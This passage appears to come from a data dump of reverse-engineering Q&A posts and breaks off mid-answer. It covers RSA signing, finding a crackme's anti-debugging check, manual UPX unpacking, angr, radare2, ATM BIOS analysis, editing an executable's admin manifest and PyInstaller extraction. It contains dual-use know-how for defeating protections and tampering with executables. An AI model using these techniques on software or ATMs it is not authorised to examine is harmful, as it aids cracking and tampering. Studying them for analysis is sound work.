    First, I fed the unencoded XML to createMD5hashForResponseXMLDocument:

    \n\n
    String xml_md5 = createMD5hashForResponseXMLDocument(my_xml_string);\n
    \n\n

    Then I run this function. It's the same as decryptRSAcipherUsedForSigning but I changed cipher.init(2, RSApublicKey); to cipher.init(1, RSApublicKey);

    \n\n
    public byte[] encryptHash(String pk_enc, String xml_m5d) {\n        try {\n            X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));\n            KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n            RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);\n            Cipher cipher = Cipher.getInstance(\"RSA/ECB/PKCS1PADDING\");\n            cipher.init(1, RSApublicKey);\n            byte[] result = cipher.doFinal(xml_m5d.getBytes());\n            return result;\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            return \"\".getBytes();\n        }\n    }\n
    \n\n

    This is not working: provided with the same XML I've started with, it does not produce the same result. Furthermore, if I try to to feed it back to decryptRSAcipherUsedForSigning I get this error:

    \n\n
    javax.crypto.BadPaddingException: Decryption error\n    at sun.security.rsa.RSAPadding.unpadV15(Unknown Source)\n    at sun.security.rsa.RSAPadding.unpad(Unknown Source)\n    at com.sun.crypto.provider.RSACipher.doFinal(RSACipher.java:356)\n    at com.sun.crypto.provider.RSACipher.engineDoFinal(RSACipher.java:389)\n    at javax.crypto.Cipher.doFinal(Cipher.java:2164)\n    at com.test.test.MainTest.decryptRSAcipherUsedForSigning(MainTest.java:112)\n    at com.test.test.MainTest.Execute(MainTest.java:59)\n    at com.test.test.test.main(test.java:13)\n
    \n\n

    Please note I'm aware of the difference between String and byte[] and I've been careful to not switch inappropriately between the twos. Although I do not exclude that might be the problem, it should be ok.

    \n", "Title": "Reversing a Java digest function, with known public key and source code", "Tags": "|encryption|java|", "Answer": "

    This is impossible to do as long as I don't have the corresponding private key of pk_enc.

    \n\n

    Decrypting with a public key means verifying: I didn't know that, saw a public key used for decryption and jumped to the wrong conclusion that it was sufficient to encrypt back the data.

    \n\n

    It is not.

    \n" }, { "Id": "19807", "CreationDate": "2018-11-03T09:40:31.393", "Body": "

    Using an hardware breakpoint, I found with Ollydbg that a crackme was checking for the isDebuggerPresent flag. I'd like to find this part of the code using IDA now.

    \n\n

    I first looked in the import table, but couldn't find the function in the list and came to the conclusion that the crackme was doing it directly instead of using kernel32.dll. Then I tried to use the \"sequence of bytes\" search in IDA, using the bytes in OllyDbg's hex dump view corresponding to MOV EAX,DWORD PTR FS:[30] (64 A1 30 00 00 00), no chance here.

    \n\n

    I must be missing something very obvious here, this is the most basic anti-debugging technique so there must be a simple way to locate it using IDA, right?

    \n\n

    Edit: Screenshot in Ollydbg\n\"enter

    \n\n

    Edit: Where the check actually happens\n\"enter

    \n", "Title": "Searching for a sequence of bytes in IDA", "Tags": "|ida|anti-debugging|", "Answer": "

    Of course you can't find it in the crackme, because the code isn't there. It's easy to determine which file the code belongs to:

    \n\n

    \"Title

    \n\n

    It's KERNELBA, so it probably comes from a system dll (KERNELBASE.dll?). We expect to find code in module named crackme4 or similar.

    \n\n

    Looking at the stack, it's easy to find the address:

    \n\n

    \"Image

    \n\n

    That one is not prefixed with <system_module_name>., so I guess it's code from the crackme.

    \n\n

    In case the stack is corrupted, it's possible to use Alt+F9 (execute until user code).

    \n\n
    \n\n

    About finding the corresponding address in IDA, it's described at this question:

    \n\n
    \n

    If only the base is changed, but offsets are constant [...], you can just rebase the program in IDA. You can do so by edit->segments->Rebase program ... menu. Specifying the same starting base in IDA as is in Olly should help.

    \n
    \n\n

    and

    \n\n
    \n

    Base_Address_in_OllyDbg: The base address of the target module in OllyDbg. You can find this value by pressing Alt-E in OllyDbg (or by going to View --> Executable modules in OllyDbg's menu bar). Find your target module in the Executable modules window; the leftmost field (Base) is the Base_Address_in_OllyDbg.

    \n
    \n" }, { "Id": "19811", "CreationDate": "2018-11-04T03:27:47.523", "Body": "

    I have an obsolete control system that I am trying to write an interface into our new control system. I have spent weeks capturing data and figuring out the addressing, polling commands, point addressing and payload. I have everything figured out except on how to calculate the checksum on the packets. Below is a small sample of the data - I believe the first 2 bytes are the checksum, bytes 3/4 - address, bytes 5/6 - command, remaining bytes are the payload:

    \n\n
    0e00 0801 1280 //to controller\n\n0e20 //from controller\n\n0e10 0801 1200 8010d00d9b0a19120a27375f01010412071f0e0a0512aa10495349474854000000000000000000000000000000000000000000001400ff0e0e00000000 //from controller\n\n0e40 //to controller\n\n0f00 0801 1285 //to controller\n\n0f20 //from controller\n\n0f10 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller\n\n0f40 //to controller\n\n1000 0801 1285 //to controller\n\n1020 //from controller\n\n1010 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller\n
    \n\n

    The checksum appears to be out of order when viewing the data captures, but that is the order that it was captured in.

    \n\n

    I don't know if it matters or not, but I am writing the interface in Java.

    \n\n

    I appreciate any help that can be provided ... many thanks in advance.

    \n", "Title": "How to calculate the checksum algorithm with data captures", "Tags": "|hex|protocol|binary-format|", "Answer": "

    The first byte starts as 0E is then 0F and then 10.\nThis looks something like a sequential message id, not part of a checksum.

    \n\n

    The second byte has a pattern to it too and, taking into account the message lengths, I'd interpret it as follows -

    \n\n
    00 => request to controller\n20 => acknowledgement from controller of the request \n10 => response from controller\n40 => acknowledgement to controller of the response\n
    \n" }, { "Id": "19816", "CreationDate": "2018-11-04T17:05:11.087", "Body": "

    As a first unpacking exercise, I decided to try to unpack the famous UPX (without using upx -d of course). I chose an executable I had somewhere, built from C++ code in debug mode. I packed it using the last version of upx upx algorithm.exe and tested it.

    \n\n

    I set a hardware breakpoint after PUSHAD and after I hit it, I dumped the process with OllydumpEx. Finally I used Scylla to rebuild the IAT.

    \n\n

    There was no error during the whole process but my fixed dump terminate with a Segmentation Fault. What would you do to investigate what went wrong?

    \n\n

    This picture shows the disassembly windows where I paused to dump, and the options used during the process.\n\"enter

    \n\n

    Edit:

    \n\n

    I just checked in the process memory and the IAT VA and size found b Scylla seem to be correct.

    \n", "Title": "Manually unpacking upx", "Tags": "|unpacking|dumping|upx|", "Answer": "

    You said that the base address changes so I assume your system and target executable have ASLR enabled. This sometimes causes problems when unpacking due to relocations not being fixed.

    \n\n

    Easiest solution is to disable ASLR and then unpack. If you want to disable ASLR on the packed executable, edit the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag of the DLL Characteristics field using a PE editor of your choice. Another option is to disable ASLR on the system which is not recommended.

    \n" }, { "Id": "19828", "CreationDate": "2018-11-06T05:23:24.637", "Body": "

    This question might sound very naive, however, I got stuck when one of my friends asked me where can I find the address of an initialized register in the stack.

    \n\n

    For e.g., info registers in gdb gives us a list of registers and their corresponding values which are basically stored into it.

    \n\n

    Is there any command or way in which I could find the addresses where the registers are actually located? If yes could someone please direct me towards it.

    \n\n

    I am glad my friend asked me this question since it was something which I didn't notice earlier because there had not been a time where there was any need of the address where the registers are located.

    \n", "Title": "Where to find address of registers populated in a binary", "Tags": "|debugging|x86|", "Answer": "

    Thanks, @0xC0000022L and @Pawe\u0142 \u0141ukasik.

    \n\n

    I got the answer, as you guys pointed out that, registers are on CPU and not in the stack. Which states that it is usually stored in memory and not on the stack.

    \n\n

    It was a doubt and I am glad that I got a clarification. Thus would like to post it as an answer.

    \n" }, { "Id": "19836", "CreationDate": "2018-11-07T08:02:58.193", "Body": "

    Let's say I want to find out how many instructions an arbitrary function foo decodes to, is there an easy way to do this?

    \n\n

    I'm trying to check against a version I am compiling with a stored binary on the system. It takes more work than I'd like to spend to test to see if the binary has changed as I muck with the compile options. I'm trying to optimize for fewer instructions.

    \n", "Title": "Is there a way to get an instruction count with Radare2?", "Tags": "|radare2|", "Answer": "

    Well, it is not the exactly what you are asking, but could be useful for those, how are looking how to get instructions number for the function from radare2. When you are using r2pipe (a python API for radare2), you may execute radare2 commands "aaa" and "aflj" to get details for every function (including number of instructions). I suppose, these commands are available in radare2 cli, without API calls.

    \n" }, { "Id": "19843", "CreationDate": "2018-11-07T17:10:41.577", "Body": "

    I am trying to get the byte size of all operands in a given instruction from IDA Pro. At first I tried using GetOperandValue(ea,n) to see how large the value was and calculate how many bytes were necessary to store that value, but it doesn't return leading zeros, which means that it doesn't work.

    \n\n

    Now I am trying to use OpHex(ea,n) to get the answer, but it's just returning True (as do OpDecimal, OpBinary, and OpOctal).

    \n\n

    How can I find the number of bytes used for operands of a particular instruction and why is OpHex returning true?

    \n\n

    Edit: My current solution works, but I would still like one that is more technically correct and bulletproof. Right now I am just using GetOperandValue(ea, op) to get both operands for all instructions (even if they have neither or only one) and then checking to make sure the operand value is greater than FF. If It's greater than FF I just assume it is an address, which in this case is four bytes. If both operands meet this condition, I assign the size to be eight bytes.

    \n\n

    This works for the moment, but will encounter difficulties in eventual moves to other architectures (right now I'm just working with x86-64).

    \n", "Title": "How can I get the byte size of an operand in IDA Pro?", "Tags": "|ida|idapython|elf|", "Answer": "

    Module ida_ua now contains a function get_dtype_size, which seems to implement @WHsT's answer.

    \n

    Assuming you have an instruction i, you can use it e.g. like this:

    \n

    ida_ua.get_dtype_size(i.Op1.dtype))

    \n" }, { "Id": "19847", "CreationDate": "2018-11-08T01:50:18.040", "Body": "

    We know that x64dbg will mark the changes as red color after we step an assembly instruction, so how can I get all changes without scroll monitor windows?

    \n\n

    x64dbg 32bit version trace:\n\"enter

    \n\n

    NEW UPDATE

    \n\n

    x32dbg only display one change for memory when calls a function which modify at least 16 bytes:

    \n\n

    Source code:

    \n\n

    \"enter

    \n\n

    x32dbg CPU monitor:

    \n\n

    \"enter

    \n\n

    x32dbg Trace monitor:

    \n\n

    \"enter

    \n\n

    The function testmem.test should have 4 bytes changes, how to get those changes?

    \n", "Title": "x64dbg how to watch all changes after one step", "Tags": "|debuggers|x64dbg|", "Answer": "

    Based on the code screenshot you posted it appears you are looking for differences between two memory snap shots. That is you want to know what all changed in the process address space after you step over the call to test.test().

    \n\n

    I hope you understand anything can change anywhere when you step over a single unknown arbitrary function over the whole process memory.

    \n\n

    For example,

    \n\n
      \n

    1. A global variable may be modified which would normally reside in the writable section of a binary.

      2. \n

    2. Stack contents may be modified.

      3. \n

    3. A third / nth module/s may be loaded and whole blocks of memory may be added which didn't exist prior to executing the function.

      4. \n
    \n\n

    etc ..... etc ....

    \n\n

    You can't reliably look for what changed between one single step of a function.

    \n\n

    x64dbg on the trace window provides you what changed on each execution, you have to scroll and look what changed for each instruction.

    \n\n

    Or, if you can limit your lookup to a certain memory range you can dump the memory to a file and diff them.

    \n\n

    x64dbg provides you one command to save a block of memory

    \n\n
    savedata :memdump: , 0x400000 , 0x1000  \n
    \n\n

    or for that matter all debugger will provide you a mechanism to dump raw data at some address of some size to a file.

    \n\n
    windbg .writemem \nida makesnapshot\nollydbg binary -> backup  or dump in memory map gui\nx64dbg savedata (scriptcommand) or dumpmem in GUI memory map\n
    \n\n

    You can use a hexeditor like hxd to byte compare two dumps for looking at all changes to a certain region of memory.

    \n\n

    As a real world example you can set a breakpoint as you have set in the specific code on the screenshot. Dump two snapshots one prior to step and one after step

    \n\n

    What was dumped

    \n\n
    Address=0024D000 \nSize=00003000 \nPage Information=Thread 3F8 Stack \nAllocation Type=PRV \nCurrent Protection=-RW-G \nAllocation Protection=-RW-- \n
    \n\n

    dumped prior and renamed the dumpfile

    \n\n
    0024D000[3000] written to \"xxx\\pre\" !\n
    \n\n

    single stepped

    \n\n
    INT3 breakpoint at test.01071076 (01071076)!\n
    \n\n

    dumped post and renamed the dumpfile

    \n\n
    0024D000[3000] written to \"xxx\\post\" !\n
    \n\n

    notice all the changes viz 1111,2222,3333

    \n\n
    :\\>ls -lg\ntotal 24\n-rw-rw-rw-  1 0 12288 2018-11-21 03:02 post.bin\n-rw-rw-rw-  1 0 12288 2018-11-21 03:01 pre.bin\n\n:\\>fc /b pre.bin post.bin\nComparing files pre.bin and POST.BIN\n00002D68: 6A 76\n00002D70: 0B 00\n00002D71: E1 00\n00002D72: 08 00\n00002D73: 01 00\n00002D74: 00 11\n00002D75: 00 11\n00002D78: 00 22\n00002D79: 00 22\n00002D7C: 20 33\n00002D7D: E1 33\n00002D7E: 08 00\n00002D7F: 01 00\n\n\n:\\>xxd -g4 -s 0x2d68 -l 0x20 pre.bin\n0002d68: 6a100701 70fd2400 0be10801 00000000  j...p.$.........\n0002d78: 00000000 20e10801 04e08442 ccfd2400  .... ......B..$.\n\n:\\>xxd -g4 -s 0x2d68 -l 0x20 post.bin\n0002d68: 76100701 70fd2400 00000000 11110000  v...p.$.........\n0002d78: 22220000 33330000 04e08442 ccfd2400  \"\"..33.....B..$.\n
    \n" }, { "Id": "19848", "CreationDate": "2018-11-08T06:21:40.887", "Body": "
    00EE16CC   . E9 DFBB0000    JMP BinFile.00EED2B0\n00EE16D1   . E9 64AF0000    JMP <JMP.&MSVCP140D.?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@>\n00EE16D6   . E9 15DB0000    JMP BinFile.00EEF1F0\n00EE16DB   . E9 D0D40000    JMP BinFile.00EEEBB0\n00EE16E0   . E9 C9E60000    JMP <JMP.&KERNEL32.IsDebuggerPresent>\n00EE16E5   . E9 D6AD0000    JMP BinFile.00EEC4C0\n00EE16EA   . E9 C1510000    JMP BinFile.00EE68B0\n00EE16EF   . E9 5CE70000    JMP BinFile.00EEFE50\n00EE16F4   . E9 C7A50000    JMP BinFile.00EEBCC0\n00EE16F9   . E9 A4E60000    JMP <JMP.&ucrtbased._wsplitpath_s>\n00EE16FE   . E9 AD950000    JMP BinFile.00EEACB0\n00EE1703   . E9 083B0000    JMP BinFile.00EE5210\n00EE1708   . E9 BBAE0000    JMP <JMP.&MSVCP140D.?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ>\n00EE170D   . E9 7EBA0000    JMP BinFile.00EED190\n00EE1712   . E9 B9BA0000    JMP BinFile.00EED1D0\n00EE1717   . E9 44870000    JMP BinFile.00EE9E60\n00EE171C   . E9 AF5C0000    JMP BinFile.00EE73D0\n00EE1721   $ E9 7A430000    JMP BinFile.00EE5AA0\n00EE1726   . E9 07E70000    JMP <JMP.&KERNEL32.GetProcAddress>\n00EE172B   . E9 E07C0000    JMP BinFile.00EE9410\n00EE1730   . E9 6B520000    JMP BinFile.00EE69A0\n00EE1735   . E9 EEAE0000    JMP <JMP.&MSVCP140D.?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std>\n00EE173A   . E9 EDE60000    JMP <JMP.&KERNEL32.FreeLibrary>\n00EE173F   . E9 DCCF0000    JMP BinFile.00EEE720\n00EE1744   . E9 FDAE0000    JMP <JMP.&MSVCP140D.?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@>\n00EE1749   . E9 42E70000    JMP BinFile.00EEFE90\n00EE174E   . E9 41AF0000    JMP <JMP.&MSVCP140D.?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBED>\n00EE1753   . E9 28860000    JMP BinFile.00EE9D80\n00EE1758   . E9 03C20000    JMP BinFile.00EED960\n00EE175D   . E9 FEBF0000    JMP BinFile.00EED760\n00EE1762   . E9 29CB0000    JMP BinFile.00EEE290\n00EE1767   . E9 C4510000    JMP BinFile.00EE6930\n
    \n\n

    I am reverse engineering a exe for a class assignment and I am trying to wrap my brain around what kind of code would produce this type of assembly code. I have been at it for a couple of days now. I am not looking for an exact answer, that would be helpful but more along the lines of how to go about solving reversing an exe like this. Thank you and help would be greatly appreciated. If anyone is wondering I am using OllyDB

    \n", "Title": "What kind of code would produce this assemby with loads of jump statements?", "Tags": "|windows|assembly|dll|exe|", "Answer": "

    If they were all to external targets then it would be the stubs for external functions when dynamically loading dlls.

    \n\n

    This way you can limit the amount of pages that need updating when a new dll get loaded. Which lets the calling code be position independent with regards to the call target. Calls to external function are sent to that page and forwarded to the actual function.

    \n\n

    When the dll gets loaded (on startup, on delay load or explicitly) the page is filled in based on the virtual address. When a delay loaded function is called it is instead forwarded to a loading function which then forwards to the actual function.

    \n" }, { "Id": "19858", "CreationDate": "2018-11-09T21:13:16.413", "Body": "

    Radare2 has an option, p-,

    \n\n
    Usage: p-[hj] [nblocks]   bar|json|histogram blocks\n| p-   show ascii-art bar of metadata in file boundaries\n| p-h  show histogram analysis of metadata per block\n| p-j  show json format\n
    \n\n

    Using it though, I get a

    \n\n
    [0x08048340]> p-\n0x8048000 [..______ssss_ss__s_ssssfss^fsffssffsffsfszz] 0x8048538\n
    \n\n

    without a legend. What do these different symbols mean f, s, z, _, ., and ^?

    \n", "Title": "How do I read the \"ascii-art bar of metadata in file boundaries\"?", "Tags": "|radare2|", "Answer": "

    You could get that by looking at the source code here.

    \n\n

    Each caracter represent a different things that a block can contain. They are checked in order (so that it doesn't mean only one thing can be in any section) and each symbol marks the block that...

    \n\n
      \n
    • ^ - you are in
      • \n
    • z - has strings
      • \n
    • s - has symbols
      • \n
    • F - has functions starting in
      • \n
    • c - has comments
      • \n
    • . - has flags
      • \n
    • f - has functions partially in
      • \n
    • _ - has something else
      • \n
    \n\n

    But I agree a legend would be helpful. Maybe this should be documented in r2 book or p-? should actually print the legend.

    \n" }, { "Id": "19867", "CreationDate": "2018-11-10T22:30:39.890", "Body": "

    I create the following c program as a proof of concept. When I try to analyze it with anger it never finishes.

    \n\n
    #include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nchar *secret = \"password\";\n\nint compare(char *string)\n{\n    int i, c=0;\n    for (i=0; i< strlen(secret); i++)\n    {\n        if (string[i] == secret[i])\n            c++;\n    }\n    if (c == 8)\n        printf(\"You won\");\n    return 0;\n}\nint main(int argc, char **argv)\n{\n    char input[50];\n    scanf(\"%s\", input);\n    compare(input);\n    return EXIT_SUCCESS;\n}\n
    \n\n

    The script is the following:

    \n\n
    #!/usr/bin/env python\n\nimport angr\nimport sys\nimport logging\nimport claripy\n\nFIND = 0x00000000000011dd\nLEN = 8 \n\ndef basic_symbolic_execution():\n    p = angr.Project('test', load_options={'auto_load_libs':False})\n\n    flag = claripy.BVS('flag', LEN * 8)\n\n    st = p.factory.entry_state(\n        stdin=flag,\n    )\n\n    sm = p.factory.simulation_manager(st)\n    sm.explore(find=FIND, num_find=1)\n\n    print(\"Found solution\")\n    out = b''\n\n    for pp in sm.deadended:\n        out = pp.posix.dumps(1)\n        print(out)\n\n    import IPython; IPython.embed()\n\ndef test():\n    r = basic_symbolic_execution()\n\nif __name__ == '__main__':\n    sys.stdout.buffer.write(basic_symbolic_execution())\n
    \n\n

    I have also tried to use explore on the address of c++ 8 times and then checking the stdin and it finishes but the result is all zeros. I was wondering if any of you have faced something similar and what your solutions were.

    \n", "Title": "Angr never finishes", "Tags": "|angr|", "Answer": "

    By your FIND address it seems like your binary was compiled with PIE. Please verify this. Angr will load PIE enabled elf at a base address of 0x400000, add this to your FIND address so that angr is able to resolve this.

    \n\n

    I have made a couple of changes to your script to make it detect the \"password\".

    \n\n
    import angr\nimport sys\nimport logging\nimport claripy\n\nFIND = 0x00400672\nLEN = 8\n\ndef basic_symbolic_execution():\n    p = angr.Project('x', load_options={'auto_load_libs':False})\n\n    flag = claripy.BVS('flag', LEN * 8)\n\n    st = p.factory.entry_state(\n        stdin=flag,\n    )\n\n    sm = p.factory.simulation_manager(st)\n    sm.explore(find=FIND, num_find=1)\n\n    print(\"Found solution\")\n    out = b''\n\n    for pp in sm.found:\n        out = pp.posix.dumps(0)\n        print(out)\n        print(pp.solver.eval(flag, cast_to=str))\n\n    import IPython; IPython.embed()\n\ndef test():\n    r = basic_symbolic_execution()\n\nif __name__ == '__main__':\n    basic_symbolic_execution()\n
    \n\n

    To look for states which actually reached your FIND addresses you need to iterate over found of a simulation_manager.

    \n\n

    According to man stdin

    \n\n
    \n

    On program startup, the integer file descriptors associated with the streams stdin,\n stdout, and stderr are 0, 1, and 2, respectively.

    \n
    \n\n

    So to get input you need to use pp.posix.dumps(0)

    \n\n

    I have also added on how to use solver of a found state to solve for constraints that you set like the flag.

    \n\n

    Also offset for the printf in the binary for me.

    \n\n
    $ gcc -no-pie -fno-pic x.c -o x\n$ r2 -AA x -qc \"pdf @ sym.compare ~won\"    \n\u2502       \u2502   0x00400672      bf7d074000     mov edi, str.You_won        ; 0x40077d ; \"You won\"\n
    \n" }, { "Id": "19882", "CreationDate": "2018-11-13T20:33:13.617", "Body": "

    Radare2 supports a w which writes a string.

    \n\n
    w foobar             write string 'foobar'\n
    \n\n

    However, it doesn't seem to work for me,

    \n\n
    $ touch foo\n\n$ radare2 ./foo\nw foobar\n
    \n\n

    The file foo remains empty. Am I supposed to flush or save?

    \n", "Title": "Writing a file with radare2 `w`?", "Tags": "|radare2|", "Answer": "

    Create an input/output mapping to allow writing to a non-mapped file

    \n

    To allow writing up to 64 byte starting at offset 0x00000000, map changes in radare2 to file descriptor 3 (the file opened in radare2).

    \n
    [0x00000000]> om 3 0x0 64\n[0x00000000]> om\n1 fd: 3 +0x00000000 0x00000000 - 0x0000000b rwx\n
    \n

    Explanation

    \n

    An empty file (as created by touch) has no input/output mappings (even when opened with in write mode).\nTo confirm no region has been mapped, you can list all defined IO maps with the radare2-command om.)

    \n

    To create an i/o-mapping use om with parameters:

    \n
    \n

    om fd vaddr [size] [paddr] [rwx] [name] create new io map

    \n
    \n

    Example

    \n
    radare2 -w test_file\n -- What has been executed cannot be unexecuted\n[0x00000000]> w This won't be written anywhere, because no mapping exists.\n[0x00000000]> om\n[0x00000000]> om 3 0 64\n[0x00000000]> om\n 1 fd: 3 +0x00000000 0x00000000 - 0x0000003f rwx \n[0x00000000]> w Hello World!\n[0x00000000]> V\n
    \n

    \"hexview

    \n" }, { "Id": "19885", "CreationDate": "2018-11-14T07:32:30.160", "Body": "

    I bought an Hyosung NH1500 off Offer-up and it boots up and initializes some peripherals and then spits out and error of \"COM download is failed\". I've searched Google and 0 results came up, I've been searching and reading everything I can about ATMs and reverse engineering them but there's not much information. I was able to find the ATM's update file and in the update file is a file called boot.bin and when I throw it into IDA Pro and set processor to ARM Little-Endian ARMv4T because the processor is an S3C2410A and that's what the datasheet said but I cannot figure out the address to load the binary at to get any disassembled code that looks correct, but inside that file is the string \"COM download is failed\".

    \n\n

    So what I am asking is, can anyone help me find the loading address of bios.bin in the update file located here.

    \n", "Title": "Reverse Engineering bios of ATM Machine", "Tags": "|disassembly|binary-analysis|decompilation|firmware|", "Answer": "

    The files in the update are not ARM but classic 16-bit x86 code. For example, loading bios.bin at F000:0000 and starting disassembly from F000:FFF0 (standard x86 entrypoint) produces nice code:

    \n\n
    cseg:FFF0                _reset:                            \ncseg:FFF0                                                   \ncseg:FFF0 FA                             cli\ncseg:FFF1 BA A4 FF                       mov     dx, 0FFA4h\ncseg:FFF4 B8 02 80                       mov     ax, 8002h\ncseg:FFF7 EF                             out     dx, ax\ncseg:FFF8 EA 20 00 00 F0                 jmp     far ptr loc_F000_20\n
    \n\n

    The code is apparently hardware-specific and does not resemble much the classic BIOS of the generic PCs.

    \n" }, { "Id": "19895", "CreationDate": "2018-11-16T01:21:12.417", "Body": "

    When I run aaa, Radare tells me,

    \n\n
    [x] Use -AA or aaaa to perform additional experimental analysis.\n
    \n\n

    But what does aaaa do? It's not documented under aa? nor aaa? nor

    \n\n
    [0x000028e0]> aaa?\nUsage: See aa? for more help\n[0x000028e0]> aaaa?\nUsage: See aa? for more help\n
    \n\n

    And man radare isn't more useful only saying,

    \n\n
     -A  run 'aaa' command before prompt or patch to analyze all referenced code. Use -AA to run aaaa\n
    \n\n

    radare --help, says

    \n\n
     -A run 'aaa' command to analyze all referenced code\n
    \n", "Title": "Radare's `aaaa` and -AA what does it do, exactly?", "Tags": "|radare2|static-analysis|", "Answer": "

    When you execute the aaa command, radare is showing you what are the steps it takes. Each step has the command responsible for it inside parentheses.

    \n\n
    [0x00000000]> aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Type matching analysis for all functions (afta)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n
    \n\n

    As you can see, aaa is a command which is executing other commands. It also prints a short description of what each command is doing. A little bit more detailed information can be found under aa?. So, to append this information together:

    \n\n
      \n
    • aa - alias for af@@ sym.*;af@entry0;afva
      • \n
    • aac - analyze function calls (af @@ `pi len~call[1]`)
      • \n
    • aar - analyze len bytes of instructions for references
      • \n
    • aan - autoname functions that either start with fcn.* or sym.func.*
      • \n
    • afta - do type matching analysis for all functions
      • \n
    \n\n

    Similar to aaa, this information is being printed when aaaa is executed.

    \n\n
    [0x00000000]> aaaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Enable constraint types analysis for variables\n
    \n\n

    The main change of aaaa is \"[x] Enable constraint types analysis for variables\". This basically enables the anal.types.constraint configuration variable.

    \n\n
    [0x00000000]> e? anal.types.constraint\nanal.types.constraint: Enable constraint types analysis for variables\n
    \n\n
    \n\n

    On a personal note here, I would suggest not to use aaaa since it is quite buggy sometimes and probably would not be necessary.

    \n" }, { "Id": "19896", "CreationDate": "2018-11-16T04:36:28.033", "Body": "

    I want to decompile an .exe and change the code to not need Admin to run. I know that it does something with:

    \n\n
    <requestedPrivileges>\n  <requestedExecutionLevel\n  level=\"requireAdministrator\"\n  uiAccess=\"false\"\n/>\n</requestedPrivileges>\n
    \n\n

    However I'm not sure what I need to change (I'm using Resource Hacker).

    \n", "Title": "I want to decompile a exe and change the code to not need Admin to run", "Tags": "|windows|exe|", "Answer": "

    Actually this has nothing to do with decompiling and little with reverse engineering.

    \n\n

    What you need to do is to change level=\"requireAdministrator\" into level=\"asInvoker\":

    \n\n
    <requestedPrivileges>\n  <requestedExecutionLevel\n  level=\"asInvoker\"\n  uiAccess=\"false\"\n/>\n</requestedPrivileges>\n
    \n\n

    Using ResourceHacker you should be able to do just that. The canonical way, however, would be to use the Manifest Tool (mt.exe) which is - depending on the version - included with the SDKs, WDKs or Visual C++/Studio.

    \n\n

    Another way would be to strip the resource and place a manifest next to the .exe with the same name, but .manifest appended. I.e. if your .exe is named foobar.exe then the manifest would be foobar.exe.manifest.

    \n\n

    And actually, thinking about it, this may even work without stripping the existing manifest resource (perhaps give it a try?). I.e. extract the existing manifest resource, place it next to the .exe as explained above and modify the (external) manifest. Then try to start the .exe ...

    \n\n

    However, be warned: if your .exe has been signed, your tampering will invalidate the signature. If the software has been prepared to do integrity checking or certain other circumstances apply (Software Restriction Policies, AppLocker) this may lead to the software being unable to run.

    \n\n
    \n\n

    If you wanted to achieve this without tinkering with the manifest resource, you can have a look here. This answer details how to enable running a software without elevation by invoking it with a special environment variable set.

    \n\n

    Applying this registry file will create an entry named Run without admin rights (UAC) in the context menu, which allows you to make use of the feature:

    \n\n
    Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\*\\shell\\forcerunasinvoker]\n@=\"Run without admin rights (UAC)\"\n\n[HKEY_CLASSES_ROOT\\*\\shell\\forcerunasinvoker\\command]\n@=\"cmd /min /C \\\"set __COMPAT_LAYER=RUNASINVOKER && start \\\"\\\" \\\"%1\\\"\\\"\"\n
    \n" }, { "Id": "19900", "CreationDate": "2018-11-17T01:37:21.963", "Body": "

    There are several solutions available to extract Pyc files from Windows binaries and then decompile them using uncompyle2 or uncompyle6.

    \n\n

    However, I have a Linux ELF 64-bit binary which was compiled using one of the Packagers used for Python (might be CX Freeze or PyInstaller). I am not sure of the exact package name.

    \n\n

    Update:

    \n\n

    File command output:

    \n\n
    bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=212a49c7fff7342713aec6af6789abbaf3a8014, stripped\n
    \n\n

    I also have a .so file called: libpython2.7.so.1.0 which I believe is the python interpreter.

    \n\n

    The binary also has a .pydata section inside it as shown below:

    \n\n
     [27] pydata            PROGBITS         0000000000000000  00007a48\n       00000000000a0c47  0000000000000000           0     0     1\n
    \n\n

    The binary has strings inside it as shown below:

    \n\n
    Py_SetPythonHome\nCannot dlsym for Py_SetPythonHome\nError loading Python lib '%s': dlopen: %s\nError detected starting Python VM.\nlibpython2.7.so.1.0\n
    \n\n

    So, I'm quite sure that it is Python code compiled to a Linux binary.

    \n\n

    Neither of these projects work for me.

    \n\n
      \n

    • unfrozen_binary - gives an error because in common.py it imports decompilers library which is not available.

      • \n

    • pyThaw - it leverages radare2 however when I use it with my binary, it just hangs and does not extract the source code.

      • \n
    \n\n

    Are there any alternate solutions to decompile such elf binaries with python byte code for Linux?

    \n", "Title": "Decompile Python for ELF Binaries", "Tags": "|python|decompiler|", "Answer": "

    It can be said with certainty that your binary has been compiled with PyInstaller. Searching for the string \"Error detected starting Python VM.\" leads to the PyInstaller repo.

    \n\n

    Now that you know it's PyInstaller, you can have a look here which describes how PyInstaller works and how the binary is packaged. In short, here are the important parts

    \n\n
    \n

    Two kinds of archives are used in PyInstaller. One is a ZlibArchive,\n which allows Python modules to be stored efficiently and, with some\n import hooks, imported directly. The other, a CArchive, is similar to\n a .zip file, a general way of packing up (and optionally compressing)\n arbitrary blobs of data. It gets its name from the fact that it can be\n manipulated easily from C as well as from Python. Both of these derive\n from a common base class, making it fairly easy to create new kinds of\n archives.

    \n
    \n\n

    The docs recommend using the tool pyi-archive_viewer for inspecting PyInstaller binaries.

    \n\n
    \n

    Use the pyi-archive_viewer command to inspect any type of archive:

    \n\n
    pyi-archive_viewer archivefile\n
    \n \n

